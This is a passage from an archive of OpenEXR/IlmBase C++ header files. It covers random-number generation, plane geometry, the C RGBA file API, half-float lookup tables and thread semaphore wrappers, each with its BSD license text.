uniformly distributed in a sphere with // radius 1 around the origin (distance from origin <= 1). //------------------------------------------------------------ template <class Vec, class Rand> Vec solidSphereRand (Rand &rand); //------------------------------------------------------------- // Return random points uniformly distributed on the surface of // a sphere with radius 1 around the origin. //------------------------------------------------------------- template <class Vec, class Rand> Vec hollowSphereRand (Rand &rand); //----------------------------------------------- // Return random numbers with a normal (Gaussian) // distribution with zero mean and unit variance. //----------------------------------------------- template <class Rand> float gaussRand (Rand &rand); //---------------------------------------------------- // Return random points whose distance from the origin // has a normal (Gaussian) distribution with zero mean // and unit variance. //---------------------------------------------------- template <class Vec, class Rand> Vec gaussSphereRand (Rand &rand); //--------------------------------- // erand48(), nrand48() and friends //--------------------------------- IMATH_EXPORT double erand48 (unsigned short state[3]); IMATH_EXPORT double drand48 (); IMATH_EXPORT long int nrand48 (unsigned short state[3]); IMATH_EXPORT long int lrand48 (); IMATH_EXPORT void srand48 (long int seed); //--------------- // Implementation //--------------- inline void Rand32::init (unsigned long int seed) { _state = (seed * 0xa5a573a5L) ^ 0x5a5a5a5aL; } inline Rand32::Rand32 (unsigned long int seed) { init (seed); } inline void Rand32::next () { _state = 1664525L * _state + 1013904223L; } inline bool Rand32::nextb () { next (); // Return the 31st (most significant) bit, by and-ing with 2 ^ 31. return !!(_state & 2147483648UL); } inline unsigned long int Rand32::nexti () { next (); return _state & 0xffffffff; } inline float Rand32::nextf (float rangeMin, float rangeMax) { float f = nextf(); return rangeMin * (1 - f) + rangeMax * f; } inline void Rand48::init (unsigned long int seed) { seed = (seed * 0xa5a573a5L) ^ 0x5a5a5a5aL; _state[0] = (unsigned short int) (seed & 0xFFFF); _state[1] = (unsigned short int) ((seed >> 16) & 0xFFFF); _state[2] = (unsigned short int) (seed & 0xFFFF); } inline Rand48::Rand48 (unsigned long int seed) { init (seed); } inline bool Rand48::nextb () { return nrand48 (_state) & 1; } inline long int Rand48::nexti () { return nrand48 (_state); } inline double Rand48::nextf () { return erand48 (_state); } inline double Rand48::nextf (double rangeMin, double rangeMax) { double f = nextf(); return rangeMin * (1 - f) + rangeMax * f; } template <class Vec, class Rand> Vec solidSphereRand (Rand &rand) { Vec v; do { for (unsigned int i = 0; i < Vec::dimensions(); i++) v[i] = (typename Vec::BaseType) rand.nextf (-1, 1); } while (v.length2() > 1); return v; } template <class Vec, class Rand> Vec hollowSphereRand (Rand &rand) { Vec v; typename Vec::BaseType length; do { for (unsigned int i = 0; i < Vec::dimensions(); i++) v[i] = (typename Vec::BaseType) rand.nextf (-1, 1); length = v.length(); } while (length > 1 || length == 0); return v / length; } template <class Rand> float gaussRand (Rand &rand) { float x; // Note: to avoid numerical problems with very small float y; // numbers, we make these variables singe-precision float length2; // floats, but later we call the double-precision log() // and sqrt() functions instead of logf() and sqrtf(). do { x = float (rand.nextf (-1, 1)); y = float (rand.nextf (-1, 1)); length2 = x * x + y * y; } while (length2 >= 1 || length2 == 0); return x * sqrt (-2 * log (double (length2)) / length2); } template <class Vec, class Rand> Vec gaussSphereRand (Rand &rand) { return hollowSphereRand <Vec> (rand) * gaussRand (rand); } IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHRANDOM_H OpenEXR/ImathPlane.h 0000644 00000015401 15246445047 0010233 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHPLANE_H #define INCLUDED_IMATHPLANE_H //---------------------------------------------------------------------- // // template class Plane3 // // The Imath::Plane3<> class represents a half space, so the // normal may point either towards or away from origin. The // plane P can be represented by Imath::Plane3 as either p or -p // corresponding to the two half-spaces on either side of the // plane. Any function which computes a distance will return // either negative or positive values for the distance indicating // which half-space the point is in. Note that reflection, and // intersection functions will operate as expected. // //---------------------------------------------------------------------- #include "ImathVec.h" #include "ImathLine.h" #include "ImathNamespace.h" IMATH_INTERNAL_NAMESPACE_HEADER_ENTER template <class T> class Plane3 { public: Vec3<T> normal; T distance; Plane3() {} Plane3(const Vec3<T> &normal, T distance); Plane3(const Vec3<T> &point, const Vec3<T> &normal); Plane3(const Vec3<T> &point1, const Vec3<T> &point2, const Vec3<T> &point3); //---------------------- // Various set methods //---------------------- void set(const Vec3<T> &normal, T distance); void set(const Vec3<T> &point, const Vec3<T> &normal); void set(const Vec3<T> &point1, const Vec3<T> &point2, const Vec3<T> &point3 ); //---------------------- // Utilities //---------------------- bool intersect(const Line3<T> &line, Vec3<T> &intersection) const; bool intersectT(const Line3<T> &line, T ¶meter) const; T distanceTo(const Vec3<T> &) const; Vec3<T> reflectPoint(const Vec3<T> &) const; Vec3<T> reflectVector(const Vec3<T> &) const; }; //-------------------- // Convenient typedefs //-------------------- typedef Plane3<float> Plane3f; typedef Plane3<double> Plane3d; //--------------- // Implementation //--------------- template <class T> inline Plane3<T>::Plane3(const Vec3<T> &p0, const Vec3<T> &p1, const Vec3<T> &p2) { set(p0,p1,p2); } template <class T> inline Plane3<T>::Plane3(const Vec3<T> &n, T d) { set(n, d); } template <class T> inline Plane3<T>::Plane3(const Vec3<T> &p, const Vec3<T> &n) { set(p, n); } template <class T> inline void Plane3<T>::set(const Vec3<T>& point1, const Vec3<T>& point2, const Vec3<T>& point3) { normal = (point2 - point1) % (point3 - point1); normal.normalize(); distance = normal ^ point1; } template <class T> inline void Plane3<T>::set(const Vec3<T>& point, const Vec3<T>& n) { normal = n; normal.normalize(); distance = normal ^ point; } template <class T> inline void Plane3<T>::set(const Vec3<T>& n, T d) { normal = n; normal.normalize(); distance = d; } template <class T> inline T Plane3<T>::distanceTo(const Vec3<T> &point) const { return (point ^ normal) - distance; } template <class T> inline Vec3<T> Plane3<T>::reflectPoint(const Vec3<T> &point) const { return normal * distanceTo(point) * -2.0 + point; } template <class T> inline Vec3<T> Plane3<T>::reflectVector(const Vec3<T> &v) const { return normal * (normal ^ v) * 2.0 - v; } template <class T> inline bool Plane3<T>::intersect(const Line3<T>& line, Vec3<T>& point) const { T d = normal ^ line.dir; if ( d == 0.0 ) return false; T t = - ((normal ^ line.pos) - distance) / d; point = line(t); return true; } template <class T> inline bool Plane3<T>::intersectT(const Line3<T>& line, T &t) const { T d = normal ^ line.dir; if ( d == 0.0 ) return false; t = - ((normal ^ line.pos) - distance) / d; return true; } template<class T> std::ostream &operator<< (std::ostream &o, const Plane3<T> &plane) { return o << "(" << plane.normal << ", " << plane.distance << ")"; } template<class T> Plane3<T> operator* (const Plane3<T> &plane, const Matrix44<T> &M) { // T // -1 // Could also compute M but that would suck. // Vec3<T> dir1 = Vec3<T> (1, 0, 0) % plane.normal; T dir1Len = dir1 ^ dir1; Vec3<T> tmp = Vec3<T> (0, 1, 0) % plane.normal; T tmpLen = tmp ^ tmp; if (tmpLen > dir1Len) { dir1 = tmp; dir1Len = tmpLen; } tmp = Vec3<T> (0, 0, 1) % plane.normal; tmpLen = tmp ^ tmp; if (tmpLen > dir1Len) { dir1 = tmp; } Vec3<T> dir2 = dir1 % plane.normal; Vec3<T> point = plane.distance * plane.normal; return Plane3<T> ( point * M, (point + dir2) * M, (point + dir1) * M ); } template<class T> Plane3<T> operator- (const Plane3<T> &plane) { return Plane3<T>(-plane.normal,-plane.distance); } IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHPLANE_H OpenEXR/IlmThreadForward.h 0000644 00000004121 15246445047 0011404 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_ILMTHREADFORWARD_H #define INCLUDED_ILMTHREADFORWARD_H #include "IlmThreadNamespace.h" ILMTHREAD_INTERNAL_NAMESPACE_HEADER_ENTER class Thread; class Mutex; class Lock; class ThreadPool; class Task; class TaskGroup; class Semaphore; ILMTHREAD_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_ILMTHREADFORWARD_H OpenEXR/ImfCRgbaFile.h 0000644 00000031003 15246445047 0010417 0 ustar 00 /* Copyright (c) 2002, Industrial Light & Magic, a division of Lucas Digital Ltd. LLC All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Industrial Light & Magic nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef INCLUDED_IMF_C_RGBA_FILE_H #define INCLUDED_IMF_C_RGBA_FILE_H #include "ImfExport.h" #include <stdlib.h> #ifdef __cplusplus extern "C" { #endif /* ** Interpreting unsigned shorts as 16-bit floating point numbers */ typedef unsigned short ImfHalf; IMF_EXPORT void ImfFloatToHalf (float f, ImfHalf *h); IMF_EXPORT void ImfFloatToHalfArray (int n, const float f[/*n*/], ImfHalf h[/*n*/]); IMF_EXPORT float ImfHalfToFloat (ImfHalf h); IMF_EXPORT void ImfHalfToFloatArray (int n, const ImfHalf h[/*n*/], float f[/*n*/]); /* ** RGBA pixel; memory layout must be the same as struct Imf::Rgba. */ struct ImfRgba { ImfHalf r; ImfHalf g; ImfHalf b; ImfHalf a; }; typedef struct ImfRgba ImfRgba; /* ** Magic number; this must be the same as Imf::MAGIC */ #define IMF_MAGIC 20000630 /* ** Version number; this must be the same as Imf::EXR_VERSION */ #define IMF_VERSION_NUMBER 2 /* ** Line order; values must the the same as in Imf::LineOrder. */ #define IMF_INCREASING_Y 0 #define IMF_DECREASING_Y 1 #define IMF_RAMDOM_Y 2 /* ** Compression types; values must be the same as in Imf::Compression. */ #define IMF_NO_COMPRESSION 0 #define IMF_RLE_COMPRESSION 1 #define IMF_ZIPS_COMPRESSION 2 #define IMF_ZIP_COMPRESSION 3 #define IMF_PIZ_COMPRESSION 4 #define IMF_PXR24_COMPRESSION 5 #define IMF_B44_COMPRESSION 6 #define IMF_B44A_COMPRESSION 7 /* ** Channels; values must be the same as in Imf::RgbaChannels. */ #define IMF_WRITE_R 0x01 #define IMF_WRITE_G 0x02 #define IMF_WRITE_B 0x04 #define IMF_WRITE_A 0x08 #define IMF_WRITE_Y 0x10 #define IMF_WRITE_C 0x20 #define IMF_WRITE_RGB 0x07 #define IMF_WRITE_RGBA 0x0f #define IMF_WRITE_YC 0x30 #define IMF_WRITE_YA 0x18 #define IMF_WRITE_YCA 0x38 /* ** Level modes; values must be the same as in Imf::LevelMode */ #define IMF_ONE_LEVEL 0 #define IMF_MIPMAP_LEVELS 1 #define IMF_RIPMAP_LEVELS 2 /* ** Level rounding modes; values must be the same as in Imf::LevelRoundingMode */ #define IMF_ROUND_DOWN 0 #define IMF_ROUND_UP 1 /* ** RGBA file header */ struct ImfHeader; typedef struct ImfHeader ImfHeader; IMF_EXPORT ImfHeader * ImfNewHeader (void); IMF_EXPORT void ImfDeleteHeader (ImfHeader *hdr); IMF_EXPORT ImfHeader * ImfCopyHeader (const ImfHeader *hdr); IMF_EXPORT void ImfHeaderSetDisplayWindow (ImfHeader *hdr, int xMin, int yMin, int xMax, int yMax); IMF_EXPORT void ImfHeaderDisplayWindow (const ImfHeader *hdr, int *xMin, int *yMin, int *xMax, int *yMax); IMF_EXPORT void ImfHeaderSetDataWindow (ImfHeader *hdr, int xMin, int yMin, int xMax, int yMax); IMF_EXPORT void ImfHeaderDataWindow (const ImfHeader *hdr, int *xMin, int *yMin, int *xMax, int *yMax); IMF_EXPORT void ImfHeaderSetPixelAspectRatio (ImfHeader *hdr, float pixelAspectRatio); IMF_EXPORT float ImfHeaderPixelAspectRatio (const ImfHeader *hdr); IMF_EXPORT void ImfHeaderSetScreenWindowCenter (ImfHeader *hdr, float x, float y); IMF_EXPORT void ImfHeaderScreenWindowCenter (const ImfHeader *hdr, float *x, float *y); IMF_EXPORT void ImfHeaderSetScreenWindowWidth (ImfHeader *hdr, float width); IMF_EXPORT float ImfHeaderScreenWindowWidth (const ImfHeader *hdr); IMF_EXPORT void ImfHeaderSetLineOrder (ImfHeader *hdr, int lineOrder); IMF_EXPORT int ImfHeaderLineOrder (const ImfHeader *hdr); IMF_EXPORT void ImfHeaderSetCompression (ImfHeader *hdr, int compression); IMF_EXPORT int ImfHeaderCompression (const ImfHeader *hdr); IMF_EXPORT int ImfHeaderSetIntAttribute (ImfHeader *hdr, const char name[], int value); IMF_EXPORT int ImfHeaderIntAttribute (const ImfHeader *hdr, const char name[], int *value); IMF_EXPORT int ImfHeaderSetFloatAttribute (ImfHeader *hdr, const char name[], float value); IMF_EXPORT int ImfHeaderSetDoubleAttribute (ImfHeader *hdr, const char name[], double value); IMF_EXPORT int ImfHeaderFloatAttribute (const ImfHeader *hdr, const char name[], float *value); IMF_EXPORT int ImfHeaderDoubleAttribute (const ImfHeader *hdr, const char name[], double *value); IMF_EXPORT int ImfHeaderSetStringAttribute (ImfHeader *hdr, const char name[], const char value[]); IMF_EXPORT int ImfHeaderStringAttribute (const ImfHeader *hdr, const char name[], const char **value); IMF_EXPORT int ImfHeaderSetBox2iAttribute (ImfHeader *hdr, const char name[], int xMin, int yMin, int xMax, int yMax); IMF_EXPORT int ImfHeaderBox2iAttribute (const ImfHeader *hdr, const char name[], int *xMin, int *yMin, int *xMax, int *yMax); IMF_EXPORT int ImfHeaderSetBox2fAttribute (ImfHeader *hdr, const char name[], float xMin, float yMin, float xMax, float yMax); IMF_EXPORT int ImfHeaderBox2fAttribute (const ImfHeader *hdr, const char name[], float *xMin, float *yMin, float *xMax, float *yMax); IMF_EXPORT int ImfHeaderSetV2iAttribute (ImfHeader *hdr, const char name[], int x, int y); IMF_EXPORT int ImfHeaderV2iAttribute (const ImfHeader *hdr, const char name[], int *x, int *y); IMF_EXPORT int ImfHeaderSetV2fAttribute (ImfHeader *hdr, const char name[], float x, float y); IMF_EXPORT int ImfHeaderV2fAttribute (const ImfHeader *hdr, const char name[], float *x, float *y); IMF_EXPORT int ImfHeaderSetV3iAttribute (ImfHeader *hdr, const char name[], int x, int y, int z); IMF_EXPORT int ImfHeaderV3iAttribute (const ImfHeader *hdr, const char name[], int *x, int *y, int *z); IMF_EXPORT int ImfHeaderSetV3fAttribute (ImfHeader *hdr, const char name[], float x, float y, float z); IMF_EXPORT int ImfHeaderV3fAttribute (const ImfHeader *hdr, const char name[], float *x, float *y, float *z); IMF_EXPORT int ImfHeaderSetM33fAttribute (ImfHeader *hdr, const char name[], const float m[3][3]); IMF_EXPORT int ImfHeaderM33fAttribute (const ImfHeader *hdr, const char name[], float m[3][3]); IMF_EXPORT int ImfHeaderSetM44fAttribute (ImfHeader *hdr, const char name[], const float m[4][4]); IMF_EXPORT int ImfHeaderM44fAttribute (const ImfHeader *hdr, const char name[], float m[4][4]); /* ** RGBA output file */ struct ImfOutputFile; typedef struct ImfOutputFile ImfOutputFile; IMF_EXPORT ImfOutputFile * ImfOpenOutputFile (const char name[], const ImfHeader *hdr, int channels); IMF_EXPORT int ImfCloseOutputFile (ImfOutputFile *out); IMF_EXPORT int ImfOutputSetFrameBuffer (ImfOutputFile *out, const ImfRgba *base, size_t xStride, size_t yStride); IMF_EXPORT int ImfOutputWritePixels (ImfOutputFile *out, int numScanLines); IMF_EXPORT int ImfOutputCurrentScanLine (const ImfOutputFile *out); IMF_EXPORT const ImfHeader * ImfOutputHeader (const ImfOutputFile *out); IMF_EXPORT int ImfOutputChannels (const ImfOutputFile *out); /* ** Tiled RGBA output file */ struct ImfTiledOutputFile; typedef struct ImfTiledOutputFile ImfTiledOutputFile; IMF_EXPORT ImfTiledOutputFile * ImfOpenTiledOutputFile (const char name[], const ImfHeader *hdr, int channels, int xSize, int ySize, int mode, int rmode); IMF_EXPORT int ImfCloseTiledOutputFile (ImfTiledOutputFile *out); IMF_EXPORT int ImfTiledOutputSetFrameBuffer (ImfTiledOutputFile *out, const ImfRgba *base, size_t xStride, size_t yStride); IMF_EXPORT int ImfTiledOutputWriteTile (ImfTiledOutputFile *out, int dx, int dy, int lx, int ly); IMF_EXPORT int ImfTiledOutputWriteTiles (ImfTiledOutputFile *out, int dxMin, int dxMax, int dyMin, int dyMax, int lx, int ly); IMF_EXPORT const ImfHeader * ImfTiledOutputHeader (const ImfTiledOutputFile *out); IMF_EXPORT int ImfTiledOutputChannels (const ImfTiledOutputFile *out); IMF_EXPORT int ImfTiledOutputTileXSize (const ImfTiledOutputFile *out); IMF_EXPORT int ImfTiledOutputTileYSize (const ImfTiledOutputFile *out); IMF_EXPORT int ImfTiledOutputLevelMode (const ImfTiledOutputFile *out); IMF_EXPORT int ImfTiledOutputLevelRoundingMode (const ImfTiledOutputFile *out); /* ** RGBA input file */ struct ImfInputFile; typedef struct ImfInputFile ImfInputFile; ImfInputFile * ImfOpenInputFile (const char name[]); IMF_EXPORT int ImfCloseInputFile (ImfInputFile *in); IMF_EXPORT int ImfInputSetFrameBuffer (ImfInputFile *in, ImfRgba *base, size_t xStride, size_t yStride); IMF_EXPORT int ImfInputReadPixels (ImfInputFile *in, int scanLine1, int scanLine2); IMF_EXPORT const ImfHeader * ImfInputHeader (const ImfInputFile *in); IMF_EXPORT int ImfInputChannels (const ImfInputFile *in); IMF_EXPORT const char * ImfInputFileName (const ImfInputFile *in); /* ** Tiled RGBA input file */ struct ImfTiledInputFile; typedef struct ImfTiledInputFile ImfTiledInputFile; IMF_EXPORT ImfTiledInputFile * ImfOpenTiledInputFile (const char name[]); IMF_EXPORT int ImfCloseTiledInputFile (ImfTiledInputFile *in); IMF_EXPORT int ImfTiledInputSetFrameBuffer (ImfTiledInputFile *in, ImfRgba *base, size_t xStride, size_t yStride); IMF_EXPORT int ImfTiledInputReadTile (ImfTiledInputFile *in, int dx, int dy, int lx, int ly); IMF_EXPORT int ImfTiledInputReadTiles (ImfTiledInputFile *in, int dxMin, int dxMax, int dyMin, int dyMax, int lx, int ly); IMF_EXPORT const ImfHeader * ImfTiledInputHeader (const ImfTiledInputFile *in); IMF_EXPORT int ImfTiledInputChannels (const ImfTiledInputFile *in); IMF_EXPORT const char * ImfTiledInputFileName (const ImfTiledInputFile *in); IMF_EXPORT int ImfTiledInputTileXSize (const ImfTiledInputFile *in); IMF_EXPORT int ImfTiledInputTileYSize (const ImfTiledInputFile *in); IMF_EXPORT int ImfTiledInputLevelMode (const ImfTiledInputFile *in); IMF_EXPORT int ImfTiledInputLevelRoundingMode (const ImfTiledInputFile *in); /* ** Lookup tables */ struct ImfLut; typedef struct ImfLut ImfLut; IMF_EXPORT ImfLut * ImfNewRound12logLut (int channels); IMF_EXPORT ImfLut * ImfNewRoundNBitLut (unsigned int n, int channels); IMF_EXPORT void ImfDeleteLut (ImfLut *lut); IMF_EXPORT void ImfApplyLut (ImfLut *lut, ImfRgba *data, int nData, int stride); /* ** Most recent error message */ IMF_EXPORT const char * ImfErrorMessage (void); #ifdef __cplusplus } /* extern "C" */ #endif #endif OpenEXR/halfFunction.h 0000644 00000011520 15246445047 0010627 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// // Primary authors: // Florian Kainz <kainz@ilm.com> // Rod Bogart <rgb@ilm.com> //--------------------------------------------------------------------------- // // halfFunction<T> -- a class for fast evaluation // of half --> T functions // // The constructor for a halfFunction object, // // halfFunction (function, // domainMin, domainMax, // defaultValue, // posInfValue, negInfValue, // nanValue); // // evaluates the function for all finite half values in the interval // [domainMin, domainMax], and stores the results in a lookup table. // For finite half values that are not in [domainMin, domainMax], the // constructor stores defaultValue in the table. For positive infinity, // negative infinity and NANs, posInfValue, negInfValue and nanValue // are stored in the table. // // The tabulated function can then be evaluated quickly for arbitrary // half values by calling the the halfFunction object's operator() // method. // // Example: // // #include <math.h> // #include <halfFunction.h> // // halfFunction<half> hsin (sin); // // halfFunction<half> hsqrt (sqrt, // function // 0, HALF_MAX, // domain // half::qNan(), // sqrt(x) for x < 0 // half::posInf(), // sqrt(+inf) // half::qNan(), // sqrt(-inf) // half::qNan()); // sqrt(nan) // // half x = hsin (1); // half y = hsqrt (3.5); // //--------------------------------------------------------------------------- #ifndef _HALF_FUNCTION_H_ #define _HALF_FUNCTION_H_ #include "half.h" #include "IlmBaseConfig.h" #ifndef ILMBASE_HAVE_LARGE_STACK #include <string.h> // need this for memset #else #endif #include <float.h> template <class T> class halfFunction { public: //------------ // Constructor //------------ template <class Function> halfFunction (Function f, half domainMin = -HALF_MAX, half domainMax = HALF_MAX, T defaultValue = 0, T posInfValue = 0, T negInfValue = 0, T nanValue = 0); #ifndef ILMBASE_HAVE_LARGE_STACK ~halfFunction () { delete [] _lut; } #endif //----------- // Evaluation //----------- T operator () (half x) const; private: #ifdef ILMBASE_HAVE_LARGE_STACK T _lut[1 << 16]; #else T * _lut; #endif }; //--------------- // Implementation //--------------- template <class T> template <class Function> halfFunction<T>::halfFunction (Function f, half domainMin, half domainMax, T defaultValue, T posInfValue, T negInfValue, T nanValue) { #ifndef ILMBASE_HAVE_LARGE_STACK _lut = new T[1<<16]; memset (_lut, 0 , (1<<16) * sizeof(T)); #endif for (int i = 0; i < (1 << 16); i++) { half x; x.setBits (i); if (x.isNan()) _lut[i] = nanValue; else if (x.isInfinity()) _lut[i] = x.isNegative()? negInfValue: posInfValue; else if (x < domainMin || x > domainMax) _lut[i] = defaultValue; else _lut[i] = f (x); } } template <class T> inline T halfFunction<T>::operator () (half x) const { return _lut[x.bits()]; } #endif OpenEXR/IlmThreadSemaphore.h 0000644 00000006612 15246445047 0011732 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2005-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_ILM_THREAD_SEMAPHORE_H #define INCLUDED_ILM_THREAD_SEMAPHORE_H //----------------------------------------------------------------------------- // // class Semaphore -- a wrapper class for // system-dependent counting semaphores // //----------------------------------------------------------------------------- #include "IlmBaseConfig.h" #include "IlmThreadExport.h" #include "IlmThreadNamespace.h" #if defined _WIN32 || defined _WIN64 #ifdef NOMINMAX #undef NOMINMAX #endif #define NOMINMAX #include <windows.h> #elif HAVE_PTHREAD && !HAVE_POSIX_SEMAPHORES #include <pthread.h> #elif HAVE_PTHREAD && HAVE_POSIX_SEMAPHORES #include <semaphore.h> #endif ILMTHREAD_INTERNAL_NAMESPACE_HEADER_ENTER class ILMTHREAD_EXPORT Semaphore { public: Semaphore (unsigned int value = 0); virtual ~Semaphore(); void wait(); bool tryWait(); void post(); int value() const; private: #if defined _WIN32 || defined _WIN64 mutable HANDLE _semaphore; #elif HAVE_PTHREAD && !HAVE_POSIX_SEMAPHORES // // If the platform has Posix threads but no semapohores, // then we implement them 